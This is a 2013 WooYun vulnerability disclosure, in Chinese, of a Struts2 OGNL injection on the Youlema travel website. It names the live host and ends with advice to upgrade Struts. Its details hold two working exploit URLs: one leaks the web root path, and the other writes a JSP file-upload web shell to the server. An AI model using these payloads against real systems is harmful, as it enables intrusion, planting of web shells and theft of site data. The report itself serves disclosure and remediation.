漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-032912
漏洞标题:悠乐马旅游网存在struts漏洞
相关厂商:悠乐马旅游网
漏洞作者: 白猫
提交时间:2013-07-31 12:00
修复时间:2013-09-14 12:01
公开时间:2013-09-14 12:01
漏洞类型:命令执行
危害等级:低
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-14: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
悠乐马旅游网存在struts漏洞
详细说明:
1、可以通过http://www.youlema.com/mc/login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D 获取到网站根目录位置
2、通过http://www.youlema.com/mc/login.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\\\","/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e写入文件。
......
由上证明悠乐马旅游网存在struts漏洞,需要尽快修复,以免被人下载恶意jsp文件到服务器进行脱裤。
漏洞证明:
修复方案:
也是建议升级
struts2-core-2.3.15.1.jar
commons-lang3-3.1.jar
xwork-core-2.3.15.1.jar
ognl-3.0.6.jar
struts2-convention-plugin-2.3.15.1.jar
版权声明:转载请注明来源 白猫@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝